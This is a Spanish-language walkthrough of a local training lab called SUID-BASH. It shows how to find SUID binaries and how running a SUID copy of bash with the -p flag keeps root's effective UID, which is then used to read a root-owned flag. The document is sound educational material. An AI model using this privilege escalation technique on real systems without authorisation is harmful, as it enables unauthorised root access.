

Iniciemos el lab SUID-BASH

```
Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-BASH.
Aprende, simula, escala. Sin burocracia.

[v] Imagen cargada correctamente.
[*] Iniciando laboratorio ...
[v] Laboratorio iniciado correctamente.

[v] Laboratorio desplegado correctamente.

IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: b4sh123
Comando de conexión: ssh hacker@172.17.0.2

Objetivo: Explota bash con SUID para obtener root y leer /root/flag.txt
Tip: Lee LEEME.txt y ejecuta comparar.sh para entender el concepto

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

Aquí vemos que nos dan información para acceso mediante ssh y un tip para leer el archivo LEEME.txt y ejecutar comparar.sh

Iniciemos la conexión ssh, verifiquemos el grupo al cual pertenece el usuario proporcionado y veamos que archivos hay en el directorio donde nos encontramos

```
SUID-BASH

Bienvenido al laboratorio SUID-BASH
Objetivo: Explota bash con SUID
Usuario: hacker | Password: b4sh123

hacker@ebb5e6a492aa:~$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
hacker@ebb5e6a492aa:~$ pwd
/home/hacker
hacker@ebb5e6a492aa:~$ ls -al
total 36
drwxr-x--- 1 hacker hacker 4096 Jun 13 19:51 .
drwxr-xr-x 1 root   root   4096 Dec 13 2025 ..
-rw-r--r-- 1 hacker hacker 220  Jan  6 2022 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Jan  6 2022 .bashrc
drwx----- 2 hacker hacker 4096 Jun 13 19:51 .cache
-rw-r--r-- 1 hacker hacker 807  Jan  6 2022 .profile
-rw-r--r-- 1 hacker hacker 833  Dec 13 2025 LEEME.txt
-rwxr-xr-x 1 hacker hacker 441  Dec 13 2025 comparar.sh
hacker@ebb5e6a492aa:~$
```

Vemos que en el directorio donde estamos se encuentran los dos archivos que nos menciona el tip del lab. Veamos el contenido del archivo txt.

```

hacker@ebb5e6a492aa:~$ cat LEEME.txt
=====
LABORATORIO: SUID-BASH
=====

CONCEPTO: Bash y el bit SUID

Por seguridad, bash droppea privilegios SUID
al ejecutarse. Sin embargo, existe un flag
especial que previene este comportamiento...

PISTAS:
1. Busca binarios SUID: find / -perm -4000 2>/dev/null
2. Encuentra bash con SUID en /opt/
3. Ejecuta bash normalmente y compara 'id'
4. Investiga el manual: bash --help
5. Busca un flag que mantenga privilegios (-p)

OBJETIVO:
Obtener una shell con privilegios de root
y leer /root/flag.txt

DIFERENCIA ENTRE UID Y EUID:
- UID (User ID): ID real del usuario
- EUID (Effective UID): ID efectivo (usado para permisos)
- Con SUID, EUID = propietario del archivo (root)
- Bash droppea EUID por defecto (seguridad)
- Flag -p mantiene EUID = UID del propietario
hacker@ebb5e6a492aa:~$ █

```

Ejecutemos el archivo comparar.sh

```

hacker@ebb5e6a492aa:~$ bash comparar.sh
=====
COMPARACIÓN: BASH CON Y SIN -p
=====

[*] Tu ID actual:
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

[*] Ejecutando bash SUID sin -p:
/opt/bash_suid -c "id"
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)

[*] Ejecutando bash SUID con -p:
/opt/bash_suid -p -c "id"
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)

¿Notas la diferencia en euid?
hacker@ebb5e6a492aa:~$ █

```

Sigamos las pistas que nos dan y busquemos binarios SUID

```

hacker@ebb5e6a492aa:~$ find / -perm -4000 2>/dev/null
/opt/bash_suid
/usr/bin/su
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/mount
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
hacker@ebb5e6a492aa:~$ █

```

Hagamos la prueba de ejecutar el binario en /opt con el parámetro -p

```

hacker@ebb5e6a492aa:~$ /opt/bash_suid -p
bash_suid-5.1# █

```

Aquí vemos que nos cambió el prompt de la terminal, verifiquemos que tipo de acceso tenemos ahora y si escalamos a root podríamos ver el contenido de la bandera

```
hacker@ebb5e6a492aa:~$ /opt/bash_suid -p
bash_suid-5.1# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
bash_suid-5.1# whoami
root
bash_suid-5.1# pwd
/home/hacker
bash_suid-5.1# cat /root/flag.txt
FLAG{B[REDACTED]}
bash_suid-5.1#
```